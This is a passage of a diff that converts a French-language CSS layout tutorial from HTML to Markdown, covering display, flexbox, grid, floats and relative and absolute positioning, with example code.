précision le placement de boîtes dans d'autres boîtes. <code>static</code> est le placement par défaut dans le cours, mais vous pouvez manipuler les éléments pour qu'ils se comportent différemment à l'aide d'autres valeurs, par exemple en les fixant en haut à gauche de la fenêtre d'affichage du navigateur.</li> - <li><strong>Mise en page de tableaux</strong> — les fonctions conçues pour styliser les parties d'un tableau HTML peuvent être utilisées sur des éléments non tableau en utilisant <code>display: table</code> et les propriétés associées.</li> - <li><strong>Mise en page sur plusieurs colonnes</strong> — Les propriétés <a href="/fr/docs/Web/CSS/CSS_Columns">Multi-column</a> peuvent faire qu'un contenu bloc soit disposé en colonnes, comme dans un journal.</li> -</ul> +- **La propriété {{cssxref("display")}}** — les valeurs standards comme `block`, `inline` ou `inline-block` peuvent changer la manière dont l'élément se comporte dans le cours normal (voir [Types de boîtes](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_types_de_bo%C3%AEte) pour plus d'informations). Ensuite, nous disposons de méthodes de mise en page autonomes activées par l'intermédiaire d'une valeur de `display`, par exemple les [Grilles CSS](/fr/docs/Learn/CSS/CSS_layout/Grids) ou [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox). +- **Flotteurs** — appliquer à {{cssxref("float")}} une valeur comme `left` peut créer une juxtaposition d'un élément bloc à côté d'un autre, tout comme les images « baignent » dans le texte dans les mises en page de magazines. +- **La propriété {{cssxref("position")}}** — vous permet de contrôler avec précision le placement de boîtes dans d'autres boîtes. `static` est le placement par défaut dans le cours, mais vous pouvez manipuler les éléments pour qu'ils se comportent différemment à l'aide d'autres valeurs, par exemple en les fixant en haut à gauche de la fenêtre d'affichage du navigateur. +- **Mise en page de tableaux** — les fonctions conçues pour styliser les parties d'un tableau HTML peuvent être utilisées sur des éléments non tableau en utilisant `display: table` et les propriétés associées. +- **Mise en page sur plusieurs colonnes** — Les propriétés [Multi-column](/fr/docs/Web/CSS/CSS_Columns) peuvent faire qu'un contenu bloc soit disposé en colonnes, comme dans un journal. -<h2 id="La_propriété_«_display_»">La propriété « display »</h2> +## La propriété « display » -<p>Les principales modalités de mise en page avec les CSS relèvent toutes des valeurs de la propriété <code>display</code>. Cette propriété permet de modifier l'affichage par défaut des éléments. Chaque chose dans le cours normal a une valeur de propriété <code>display</code>. Les éléments se règlent sur cette valeur pour définir leur comportement par défaut. Par exemple, le fait que des paragraphes en langue anglaise se placent les uns au dessus des autres provient du fait que leur style est <code>display: block</code>. Si vous créez un lien sur un texte à l'intérieur d'un paragraphe, ce lien reste aligné avec le reste du texte et ne s'affiche pas sur une nouvelle ligne. C'est parce que l'élément {{htmlelement("a")}} est <code>display: inline</code> par défaut.</p> +Les principales modalités de mise en page avec les CSS relèvent toutes des valeurs de la propriété `display`. Cette propriété permet de modifier l'affichage par défaut des éléments. Chaque chose dans le cours normal a une valeur de propriété `display`. Les éléments se règlent sur cette valeur pour définir leur comportement par défaut. Par exemple, le fait que des paragraphes en langue anglaise se placent les uns au dessus des autres provient du fait que leur style est `display: block`. Si vous créez un lien sur un texte à l'intérieur d'un paragraphe, ce lien reste aligné avec le reste du texte et ne s'affiche pas sur une nouvelle ligne. C'est parce que l'élément {{htmlelement("a")}} est `display: inline` par défaut. -<p>Vous pouvez modifier le comportement d'affichage par défaut. Par exemple, l'élément {{htmlelement("li")}} est <code>display: block</code> par défaut, ce qui signifie que les éléments de la liste s'afficheront l'un sous l'autre dans un document en anglais. Si nous changeons la valeur de <code>display</code> pour <code>inline</code>, ils s'afficheront alors les uns à côté des autres, comme les mots dans une phrase. Le fait que vous puissiez changer la valeur d'affichage de n'importe quel élément signifie que vous pouvez choisir des éléments HTML pour leur signification sémantique, sans vous soucier de leur apparence. Leur apparence est quelque chose que vous pouvez modifier.</p> +Vous pouvez modifier le comportement d'affichage par défaut. Par exemple, l'élément {{htmlelement("li")}} est `display: block` par défaut, ce qui signifie que les éléments de la liste s'afficheront l'un sous l'autre dans un document en anglais. Si nous changeons la valeur de `display` pour `inline`, ils s'afficheront alors les uns à côté des autres, comme les mots dans une phrase. Le fait que vous puissiez changer la valeur d'affichage de n'importe quel élément signifie que vous pouvez choisir des éléments HTML pour leur signification sémantique, sans vous soucier de leur apparence. Leur apparence est quelque chose que vous pouvez modifier. -<p>En plus de pouvoir changer la présentation par défaut en faisant passer un élément de <code>block</code> à <code>inline</code> et vice versa, il existe des méthodes de mise en page accrues commençant avec une valeur particulière de <code>display</code>. Cependant, si vous les utilisez, vous devrez généralement invoquer des propriétés supplémentaires. Les deux valeurs les plus importantes pour notre discussion sur la mise en page sont <code>display: flex</code> et <code>display: grid</code>.</p> +En plus de pouvoir changer la présentation par défaut en faisant passer un élément de `block` à `inline` et vice versa, il existe des méthodes de mise en page accrues commençant avec une valeur particulière de `display`. Cependant, si vous les utilisez, vous devrez généralement invoquer des propriétés supplémentaires. Les deux valeurs les plus importantes pour notre discussion sur la mise en page sont `display: flex` et `display: grid`. -<h2 id="Flexbox">Flexbox</h2> +## Flexbox -<p>Flexbox est l'abréviation pour <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a> Module (Mise en page de boîtes modulaires), conçu pour faciliter une disposition alignée sur une dimension — soit en ligne, soit en colonne. Pour utiliser <code>flexbox</code>, appliquez <code>display: flex</code> à l'élément parent des éléments à placer ; tous ses enfants directs deviennent alors des éléments <code>flex</code>. Voyons cela avec un simple exemple.</p> +Flexbox est l'abréviation pour [Flexible Box Layout](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout) Module (Mise en page de boîtes modulaires), conçu pour faciliter une disposition alignée sur une dimension — soit en ligne, soit en colonne. Pour utiliser `flexbox`, appliquez `display: flex` à l'élément parent des éléments à placer ; tous ses enfants directs deviennent alors des éléments `flex`. Voyons cela avec un simple exemple. -<p>Le balisage HTML ci-dessous crée un élément conteneur de la classe <code>wrapper</code>, dans lequel nous plaçons 3 éléments {{htmlelement("div")}}. Par défaut ces éléments s'afficheront en tant qu'éléments blocs, les uns sous les autres, dans ce document en langue française.</p> +Le balisage HTML ci-dessous crée un élément conteneur de la classe `wrapper`, dans lequel nous plaçons 3 éléments {{htmlelement("div")}}. Par défaut ces éléments s'afficheront en tant qu'éléments blocs, les uns sous les autres, dans ce document en langue française. -<h3>Utiliser display: flex</h3> +### Utiliser display: flex -<p>Mais nous ajoutons <code>display: flex</code> sur le parent ; les trois éléments se placent maintenant côte à côte. Cela provient du fait qu'ils sont devenus des <em>éléments flex</em> et qu'ils utilisent les valeurs initiales données par flexbox. Ils sont disposés alignés, car la valeur initiale de {{cssxref("flex-direction")}} est <code>row</code>. Ils apparaissent serrés au haut de l'élément le plus haut, car la valeur initiale de la propriété {{cssxref("align-items")}} est <code>stretch</code>. Ce qui signifie que les éléments se casent dans la hauteur du conteneur <code>flex</code> défini dans ce cas par l'élément le plus grand. Les éléments s'alignent à partir de l'origine du conteneur à la fin sans laisser d'espace.</p> +Mais nous ajoutons `display: flex` sur le parent ; les trois éléments se placent maintenant côte à côte. Cela provient du fait qu'ils sont devenus des _éléments flex_ et qu'ils utilisent les valeurs initiales données par flexbox. Ils sont disposés alignés, car la valeur initiale de {{cssxref("flex-direction")}} est `row`. Ils apparaissent serrés au haut de l'élément le plus haut, car la valeur initiale de la propriété {{cssxref("align-items")}} est `stretch`. Ce qui signifie que les éléments se casent dans la hauteur du conteneur `flex` défini dans ce cas par l'élément le plus grand. Les éléments s'alignent à partir de l'origine du conteneur à la fin sans laisser d'espace. -<pre class="brush: css hidden">* {box-sizing: border-box;} +```css hidden +* {box-sizing: border-box;} -.wrapper > div { +.wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } - </pre> -<pre class="brush: css">.wrapper { +``` + +```css +.wrapper { display: flex; } -</pre> +``` -<pre class="brush: html"><div class="wrapper"> - <div class="box1">Un</div> - <div class="box2">Deux</div> - <div class="box3">Trois</div> -</div> -</pre> +```html +<div class="wrapper"> + <div class="box1">Un</div> + <div class="box2">Deux</div> + <div class="box3">Trois</div> +</div> +``` -<p>{{ EmbedLiveSample('Utiliser_display_flex', '300', '200') }}</p> +{{ EmbedLiveSample('Utiliser_display_flex', '300', '200') }} -<h3>Définir la propriété flex</h3> +### Définir la propriété flex -<p>En plus des propriétés ci-dessus applicables au conteneur <code>flex</code>, il existe des propriétés applicables aux éléments flex. Ces propriétés, entre autres choses, peuvent changer le mode d'adaptation des éléments, leur permettant de s'étaler et de se resserrer pour s'adapter à l'espace disponible.</p> +En plus des propriétés ci-dessus applicables au conteneur `flex`, il existe des propriétés applicables aux éléments flex. Ces propriétés, entre autres choses, peuvent changer le mode d'adaptation des éléments, leur permettant de s'étaler et de se resserrer pour s'adapter à l'espace disponible. -<p>À titre d'exemple, nous pouvons donner la valeur <code>1</code> à la propriété {{cssxref("flex")}} des éléments enfants. Tous les éléments vont grandir jusqu'à remplir le conteneur, au lieu de laisser de l'espace à la suite. S'il y a assez d'espace, les éléments vont devenir plus larges ; s'il y en a moins ils vont devenir plus étroits. En outre, si vous ajoutez un autre élément au balisage, les éléments vont rapetisser pour lui faire de la place — ils ajusteront leur taille pour prendre la même quantité d'espace, quel qu'il soit.</p> +À titre d'exemple, nous pouvons donner la valeur `1` à la propriété {{cssxref("flex")}} des éléments enfants. Tous les éléments vont grandir jusqu'à remplir le conteneur, au lieu de laisser de l'espace à la suite. S'il y a assez d'espace, les éléments vont devenir plus larges ; s'il y en a moins ils vont devenir plus étroits. En outre, si vous ajoutez un autre élément au balisage, les éléments vont rapetisser pour lui faire de la place — ils ajusteront leur taille pour prendre la même quantité d'espace, quel qu'il soit. -<pre class="brush: css hidden"> * {box-sizing: border-box;} +```css hidden + * {box-sizing: border-box;} - .wrapper > div { + .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } - </pre> -<pre class="brush: css">.wrapper { +``` + +```css +.wrapper { display: flex; } -.wrapper > div { +.wrapper > div { flex: 1; } -</pre> +``` -<pre class="brush: html"><div class="wrapper"> - <div class="box1">Un</div> - <div class="box2">Deux</div> - <div class="box3">Trois</div> -</div> -</pre> +```html +<div class="wrapper"> + <div class="box1">Un</div> + <div class="box2">Deux</div> + <div class="box3">Trois</div> +</div> +``` -<p>{{ EmbedLiveSample('Définir_la_propriété_flex', '300', '200') }}</p> +{{ EmbedLiveSample('Définir_la_propriété_flex', '300', '200') }} -<div class="note"> -<p><strong>Note :</strong> Ce n'est qu'une très brève introduction aux possibilités de Flexbox : pour en apprendre plus, voyez notre article sur <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>.</p> -</div> +> **Note :** Ce n'est qu'une très brève introduction aux possibilités de Flexbox : pour en apprendre plus, voyez notre article sur [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox). -<h2 id="Disposition_en_trame">Disposition en trame</h2> +## Disposition en trame -<p>Alors que « flexbox » est conçu pour une disposition unidimensionnelle, « Grid Layout » (Disposition tramée) est bidimensionnel — il place les choses en rangées et colonnes.</p> +Alors que « flexbox » est conçu pour une disposition unidimensionnelle, « Grid Layout » (Disposition tramée) est bidimensionnel — il place les choses en rangées et colonnes. -<p>À nouveau, vous basculez en disposition tramée en donnant une valeur appropriée à <code>display</code> — <code>display: grid</code>. L'exemple ci-dessous utilise un balisage semblable à celui de l'exemple flex : un conteneur et quelques éléments enfants. Outre <code>display: grid</code>, nous définissons une trame de placement sur le parent avec les propriétés {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}}. Nous avons défini trois colonnes de <code>1fr</code> chacune et deux lignes de <code>100px</code>. Il n'est pas nécessaire de mettre de règles sur les éléments enfants ; il seront automatiquement placés dans les cellules de trame créées.</p> +À nouveau, vous basculez en disposition tramée en donnant une valeur appropriée à `display` — `display: grid`. L'exemple ci-dessous utilise un balisage semblable à celui de l'exemple flex : un conteneur et quelques éléments enfants. Outre `display: grid`, nous définissons une trame de placement sur le parent avec les propriétés {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}}. Nous avons défini trois colonnes de `1fr` chacune et deux lignes de `100px`. Il n'est pas nécessaire de mettre de règles sur les éléments enfants ; il seront automatiquement placés dans les cellules de trame créées. -<h3>Utiliser display: grid</h3> +### Utiliser display: grid -<pre class="brush: css hidden"> * {box-sizing: border-box;} +```css hidden + * {box-sizing: border-box;} - .wrapper > div { + .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } - </pre> -<pre class="brush: css">.wrapper { +``` + +```css +.wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; grid-gap: 10px; } -</pre> - -<pre class="brush: html"><div class="wrapper"> - <div class="box1">Un</div> - <div class="box2">Deux</div> - <div class="box3">Trois</div> - <div class="box4">Quatre</div> - <div class="box5">Cinq</div> - <div class="box6">Six</div> -</div> -</pre> +``` + +```html +<div class="wrapper"> + <div class="box1">Un</div> + <div class="box2">Deux</div> + <div class="box3">Trois</div> + <div class="box4">Quatre</div> + <div class="box5">Cinq</div> + <div class="box6">Six</div> +</div> +``` -<p>{{ EmbedLiveSample('Utiliser_display_grid', '300', '330') }}</p> +{{ EmbedLiveSample('Utiliser_display_grid', '300', '330') }} -<h3>Placer des objets sur la grille</h3> +### Placer des objets sur la grille -<p>Une fois la trame créée, vous pouvez y placer explicitement les éléments au lieu de compter sur le placement automatique. Dans ce second exemple ci‑dessous nous avons défini la même trame, mais cette fois avec trois éléments enfants. Nous avons défini début et fin de ligne pour chaque élément avec les propriétés {{cssxref("grid-column")}} et {{cssxref("grid-row")}}. Les éléments occupent alors plusieurs trames.</p> +Une fois la trame créée, vous pouvez y placer explicitement les éléments au lieu de compter sur le placement automatique. Dans ce second exemple ci‑dessous nous avons défini la même trame, mais cette fois avec trois éléments enfants. Nous avons défini début et fin de ligne pour chaque élément avec les propriétés {{cssxref("grid-column")}} et {{cssxref("grid-row")}}. Les éléments occupent alors plusieurs trames. -<pre class="brush: css hidden"> * {box-sizing: border-box;} +```css hidden + * {box-sizing: border-box;} - .wrapper > div { + .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } - </pre> -<pre class="brush: css">.wrapper { +``` + +```css +.wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; @@ -238,40 +255,37 @@ original_slug: Apprendre/CSS/CSS_layout/Introduction grid-row: 2; grid-column: 3; } -</pre> +``` -<pre class="brush: html"><div class="wrapper"> - <div class="box1">Un</div> - <div class="box2">Deux</div> - <div class="box3">Trois</div> -</div> -</pre> +```html +<div class="wrapper"> + <div class="box1">Un</div> + <div class="box2">Deux</div> + <div class="box3">Trois</div> </div> +``` -<p>{{ EmbedLiveSample('Placer_des_objets_sur_la_grille', '300', '330') }}</p> +{{ EmbedLiveSample('Placer_des_objets_sur_la_grille', '300', '330') }} -<div class="note"> -<p><strong>Note :</strong> Ces deux exemples ne sont qu'une petite partie de la puissance des dispositions tramées ; pour en savoir plus, voyez l'article <a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Disposition tramée</a>.</p> -</div> +> **Note :** Ces deux exemples ne sont qu'une petite partie de la puissance des dispositions tramées ; pour en savoir plus, voyez l'article [Disposition tramée](/fr/docs/Learn/CSS/CSS_layout/Grids). -<p>La suite de ce guide porte sur d'autres méthodes de mise en page. Elles ont moins d'importance pour la structure générale de la mise en page, mais peuvent tout de même vous aider à réaliser des tâches spécifiques. En comprenant la nature de chaque tâche de mise en page, vous découvrez rapidement, en regardant un composant particulier de votre design, que le type de mise en page le plus adapté est souvent évident.</p> +La suite de ce guide porte sur d'autres méthodes de mise en page. Elles ont moins d'importance pour la structure générale de la mise en page, mais peuvent tout de même vous aider à réaliser des tâches spécifiques. En comprenant la nature de chaque tâche de mise en page, vous découvrez rapidement, en regardant un composant particulier de votre design, que le type de mise en page le plus adapté est souvent évident. -<h2 id="Flotteurs_boîtes_flottantes">Flotteurs (boîtes flottantes)</h2> +## Flotteurs (boîtes flottantes) -<p>Faire flotter un élément change son comportement ainsi que celui de l'élément qui le suit dans le cours normal. L'élément est déplacé à gauche ou à droite. Il est sorti du cours normal. Le contenu environnant l'enveloppe comme si l'élément flottait dans ce contenu.</p> +Faire flotter un élément change son comportement ainsi que celui de l'élément qui le suit dans le cours normal. L'élément est déplacé à gauche ou à droite. Il est sorti du cours normal. Le contenu environnant l'enveloppe comme si l'élément flottait dans ce contenu. -<p>La propriété {{cssxref("float")}} a quatre valeurs possibles :</p> +La propriété {{cssxref("float")}} a quatre valeurs possibles : -<ul> - <li><code>left</code> — fait flotter l'élément sur la gauche.</li> - <li><code>right</code> — fait flotter l'élément sur la droite.</li> - <li><code>none</code> — indique que rien ne flotte. C'est la valeur par défaut.</li> - <li><code>inherit</code> — indique que la valeur de la propriété <code>float</code> sera héritée de celle de l'élément parent.</li> -</ul> +- `left` — fait flotter l'élément sur la gauche. +- `right` — fait flotter l'élément sur la droite. +- `none` — indique que rien ne flotte. C'est la valeur par défaut. +- `inherit` — indique que la valeur de la propriété `float` sera héritée de celle de l'élément parent. -<p>Dans l'exemple ci‑dessous nous faisons flotter un élément <code><div></code> à gauche avec un valeur pour la propriété {{cssxref("margin")}} sur la droite pour éloigner le texte de l'élément. Cela donne un effet de texte enveloppant cette boîte. C'est l'essentiel de ce qu'il faut savoir à propos des boîtes flottantes dans le design du web moderne.</p> +Dans l'exemple ci‑dessous nous faisons flotter un élément `<div>` à gauche avec un valeur pour la propriété {{cssxref("margin")}} sur la droite pour éloigner le texte de l'élément. Cela donne un effet de texte enveloppant cette boîte. C'est l'essentiel de ce qu'il faut savoir à propos des boîtes flottantes dans le design du web moderne. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -288,60 +302,59 @@ p { padding: 10px; border-radius: 5px; } -</pre> - -<pre class="brush: html"><h1>Exemple simple de boîte flottante</h1> +``` -<div class="box">Boîte flottante</div> +```html +<h1>Exemple simple de boîte flottante</h1> -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<div class="box">Boîte flottante</div> -</pre> +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +``` -<pre class="brush: css"> +```css .box { float: left; width: 150px; height: 150px; margin-right: 30px; } -</pre> +``` -<p>{{ EmbedLiveSample('Flotteurs_boîtes_flottantes', '100%', 600) }}</p> +{{ EmbedLiveSample('Flotteurs_boîtes_flottantes', '100%', 600) }} -<div class="note"> -<p><strong>Note :</strong> Les boîtes flottantes sont précisément expliquées dans la leçon à propos des propriétés <a href="/fr/docs/Learn/CSS/CSS_layout/Floats">float et clear</a>. Précédant les techniques telles que Flexbox et les trames, les boîtes flottantes étaient utilisées comme méthode pour créer des dispositions en colonnes. Vous rencontrerez peut‑être encore ce méthodes sur le Web ; nous les expliciterons dans la leçon sur les <a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Méthodes de mise en page traditionnelles</a>.</p> -</div> +> **Note :** Les boîtes flottantes sont précisément expliquées dans la leçon à propos des propriétés [float et clear](/fr/docs/Learn/CSS/CSS_layout/Floats). Précédant les techniques telles que Flexbox et les trames, les boîtes flottantes étaient utilisées comme méthode pour créer des dispositions en colonnes. Vous rencontrerez peut‑être encore ce méthodes sur le Web ; nous les expliciterons dans la leçon sur les [Méthodes de mise en page traditionnelles](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods). -<h2 id="Techniques_de_positionnement">Techniques de positionnement</h2> +## Techniques de positionnement -<p>Le positionnement permet de déplacer un élément de l'endroit où il serait placé dans le cours normal vers un autre endroit. Le positionnement n'est pas une méthode pour créer des mises en page principales, il s'agit plutôt de gérer et d'affiner la position d'éléments donnés sur la page.</p> +Le positionnement permet de déplacer un élément de l'endroit où il serait placé dans le cours normal vers un autre endroit. Le positionnement n'est pas une méthode pour créer des mises en page principales, il s'agit plutôt de gérer et d'affiner la position d'éléments donnés sur la page. -<p>Il existe cependant des techniques utiles pour certains modes de positionnement se fondant sur la propriété {{cssxref("position")}}. Comprendre le positionnement aide aussi à comprendre le cours normal et le fait de déplacer un objet hors du cours normal.</p> +Il existe cependant des techniques utiles pour certains modes de positionnement se fondant sur la propriété {{cssxref("position")}}. Comprendre le positionnement aide aussi à comprendre le cours normal et le fait de déplacer un objet hors du cours normal. -<p>Il y a cinq types de positionnement à connaître :</p> +Il y a cinq types de positionnement à connaître : -<ul> - <li><strong>positionnement statique</strong> : valeur par défaut reçue par chaque élément — il signifie simplement « placer l'élément à sa position normale suivant le cours normal de mise en page du document — rien de spécial à constater ici ».</li> - <li><strong>positionnement relatif : </strong>modification de la position d'un élément dans la page — il est déplacé par rapport à sa position dans le cours normal — y compris la possibilité de chevaucher d'autres éléments de la page.</li> - <li><strong>positionnement absolu</strong> : déplacement d'un élément indépendamment du cours normal de positionnement, comme s'il était placé sur un calque séparé. À partir de là, vous pouvez le fixer à une position relative au bord de la page de l'élément <code><html></code> (ou de son plus proche élément ancêtre positionné). Ce positionnement est utile pour créer des effets de mise en page complexes tels que des boîtes à onglets où différents panneaux de contenu sont superposés, affichés ou cachés comme vous le souhaitez, ou des panneaux d'information hors de l'écran par défaut, mais qui peuvent glisser à l'écran à l'aide d'un bouton de contrôle.</li> - <li><strong>positionnement fixe : </strong>tout à fait semblable au précédent, à l'exception que l'élément est fixé par rapport à la vue du navigateur et non d'un autre élément. C'est très pratique pour créer des effets tels qu'un menu de navigation persistant, toujours au même endroit sur l'écran, quand l'utilisateur fait défiler le reste de la page.</li> - <li><strong>positionnement collant : </strong>nouvelle méthode de positionnement qui fait qu'un élément se comporte comme <code>position: static</code> jusqu'à un certain décalage de la vue au delà duquel il se comporte comme si sa propriété était <code>position: fixed</code>.</li> -</ul> +- **positionnement statique** : valeur par défaut reçue par chaque élément — il signifie simplement « placer l'élément à sa position normale suivant le cours normal de mise en page du document — rien de spécial à constater ici ». +- **positionnement relatif :** modification de la position d'un élément dans la page — il est déplacé par rapport à sa position dans le cours normal — y compris la possibilité de chevaucher d'autres éléments de la page. +- **positionnement absolu** : déplacement d'un élément indépendamment du cours normal de positionnement, comme s'il était placé sur un calque séparé. À partir de là, vous pouvez le fixer à une position relative au bord de la page de l'élément `<html>` (ou de son plus proche élément ancêtre positionné). Ce positionnement est utile pour créer des effets de mise en page complexes tels que des boîtes à onglets où différents panneaux de contenu sont superposés, affichés ou cachés comme vous le souhaitez, ou des panneaux d'information hors de l'écran par défaut, mais qui peuvent glisser à l'écran à l'aide d'un bouton de contrôle. +- **positionnement fixe :** tout à fait semblable au précédent, à l'exception que l'élément est fixé par rapport à la vue du navigateur et non d'un autre élément. C'est très pratique pour créer des effets tels qu'un menu de navigation persistant, toujours au même endroit sur l'écran, quand l'utilisateur fait défiler le reste de la page. +- **positionnement collant :** nouvelle méthode de positionnement qui fait qu'un élément se comporte comme `position: static` jusqu'à un certain décalage de la vue au delà duquel il se comporte comme si sa propriété était `position: fixed`. -<h3 id="Exemple_simple_de_positionnement">Exemple simple de positionnement</h3> +### Exemple simple de positionnement -<p>Afin de se familiariser avec ces techniques de mises en page, nous allons vous montrer quelques exemples. Nos exemples utiliserons tous le même code HTML, qui est celui-ci:</p> +Afin de se familiariser avec ces techniques de mises en page, nous allons vous montrer quelques exemples. Nos exemples utiliserons tous le même code HTML, qui est celui-ci: -<pre class="brush: html"><h1>Positionnement</h1> +```html +<h1>Positionnement</h1> -<p>Je suis un élément de niveau bloc de base.</p> -<p class="positioned">Je suis un élément de niveau bloc de base.</p> -<p>Je suis un élément de niveau bloc de base.</p></pre> +<p>Je suis un élément de niveau bloc de base.</p> +<p class="positioned">Je suis un élément de niveau bloc de base.</p> +<p>Je suis un élément de niveau bloc de base.</p> +``` -<p>Ce code HTML sera stylisé par défaut en utilisant la CSS suivante :</p> +Ce code HTML sera stylisé par défaut en utilisant la CSS suivante : -<pre class="brush: css">body { +```css +body { width: 500px; margin: 0 auto; } @@ -353,33 +366,38 @@ p { margin: 10px; border-radius: 5px; } -</pre> +``` -<p>Le rendu est le suivant:</p> +Le rendu est le suivant: -<p>{{ EmbedLiveSample('Exemple_simple_de_positionnement', '100%', 300) }}</p> +{{ EmbedLiveSample('Exemple_simple_de_positionnement', '100%', 300) }} -<h3 id="Positionnement_relatif">Positionnement relatif</h3> +### Positionnement relatif -<p>Le positionnement relatif vous permet de décaler un élément de la position qu'il occuperait par défaut dans le cours normal de la mise en page. Ce positionnement permet de déplacer légèrement une icône pour l'aligner avec une étiquette de texte. Pour faire cette opération, nous ajoutons la règle suivante pour réaliser le positionnement relatif :</p> +Le positionnement relatif vous permet de décaler un élément de la position qu'il occuperait par défaut dans le cours normal de la mise en page. Ce positionnement permet de déplacer légèrement une icône pour l'aligner avec une étiquette de texte. Pour faire cette opération, nous ajoutons la règle suivante pour réaliser le positionnement relatif : -<pre class="brush: css">.positioned { +```css +.positioned { position: relative; top: 30px; left: 30px; -}</pre> +} +``` -<p>Ici, nous donnons au paragraphe médian à la propriété {{cssxref("position")}} la valeur <code>relative</code> — ce qui ne fait rien en soi, alors nous ajoutons également les propriétés {{cssxref("top")}} et {{cssxref("left")}}. Elles servent à déplacer l'élément en question vers le bas et à droite — cela pourrait sembler être l'opposé de ce à quoi vous vous attendiez, mais représentez-vous l'élément comme poussé à partir de ses côtés gauche et haut : il en résulte un déplacement vers la droite et vers le bas.</p> +Ici, nous donnons au paragraphe médian à la propriété {{cssxref("position")}} la valeur `relative` — ce qui ne fait rien en soi, alors nous ajoutons également les propriétés {{cssxref("top")}} et {{cssxref("left")}}. Elles servent à déplacer l'élément en question vers le bas et à droite — cela pourrait sembler être l'opposé de ce à quoi vous vous attendiez, mais représentez-vous l'élément comme poussé à partir de ses côtés gauche et haut : il en résulte un déplacement vers la droite et vers le bas. -<p>Ajouter ce code donne le résultat suivant :</p> +Ajouter ce code donne le résultat suivant : -<pre class="brush: html hidden"><h1>Positionnement relatif</h1> +```html hidden +<h1>Positionnement relatif</h1> -<p>Je suis un élément de niveau bloc de base.</p> -<p class="positioned">Voici un élément avec un positionnement relatif.</p> -<p>Je suis un élément de niveau bloc de base.</p></pre> +<p>Je suis un élément de niveau bloc de base.</p> +<p class="positioned">Voici un élément avec un positionnement relatif.</p> +<p>Je suis un élément de niveau bloc de base.</p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; } @@ -391,39 +409,46 @@ p { margin: 10px; border-radius: 5px; } -</pre> +``` -<pre class="brush: css">.positioned { +```css +.positioned { position: relative; background: rgba(255,84,104,.3); border: 2px solid rgb(255,84,104); top: 30px; left: 30px; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Positionnement_relatif', '100%', 300) }}</p> +{{ EmbedLiveSample('Positionnement_relatif', '100%', 300) }} -<h3 id="Positionnement_absolu">Positionnement absolu</h3> +### Positionnement absolu -<p>Le positionnement absolu s'utilise pour sortir totalement un élément du cours normal de la mise en page et le placer selon son décalage par rapport à un bloc conteneur.</p> +Le positionnement absolu s'utilise pour sortir totalement un élément du cours normal de la mise en page et le placer selon son décalage par rapport à un bloc conteneur. -<p>En revenant à l'exemple sans positionnement, nous pourrions ajouter la règle CSS suivante pour implémenter un positionnement absolu :</p> +En revenant à l'exemple sans positionnement, nous pourrions ajouter la règle CSS suivante pour implémenter un positionnement absolu : -<pre class="brush: css">.positioned { +```css +.positioned { position: absolute; top: 30px; left: 30px; -}</pre> +} +``` -<p>Ici pour notre paragraphe médian, nous donnons à la propriété {{cssxref("position")}} la valeur <code>absolute</code> et les mêmes valeurs aux propriétés {{cssxref("top")}} et {{cssxref("left")}} que précédemment. Ajouter ce code, cependant, donnera le résultat suivant :</p> +Ici pour notre paragraphe médian, nous donnons à la propriété {{cssxref("position")}} la valeur `absolute` et les mêmes valeurs aux propriétés {{cssxref("top")}} et {{cssxref("left")}} que précédemment. Ajouter ce code, cependant, donnera le résultat suivant : -<pre class="brush: html hidden"><h1>Positionnement absolu</h1> +```html hidden +<h1>Positionnement absolu</h1> -<p>Je suis un élément de niveau bloc de base.</p> -<p class="positioned">Voici un élément avec un positionnement absolu.</p> -<p>Je suis un élément de niveau bloc de base.</p></pre> +<p>Je suis un élément de niveau bloc de base.</p> +<p class="positioned">Voici un élément avec un positionnement absolu.</p> +<p>Je suis un élément de niveau bloc de base.</p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; } @@ -435,48 +460,52 @@ p { margin: 10px; border-radius: 5px; } -</pre> +``` -<pre class="brush: css">.positioned { +```css +.positioned { position: absolute; background: 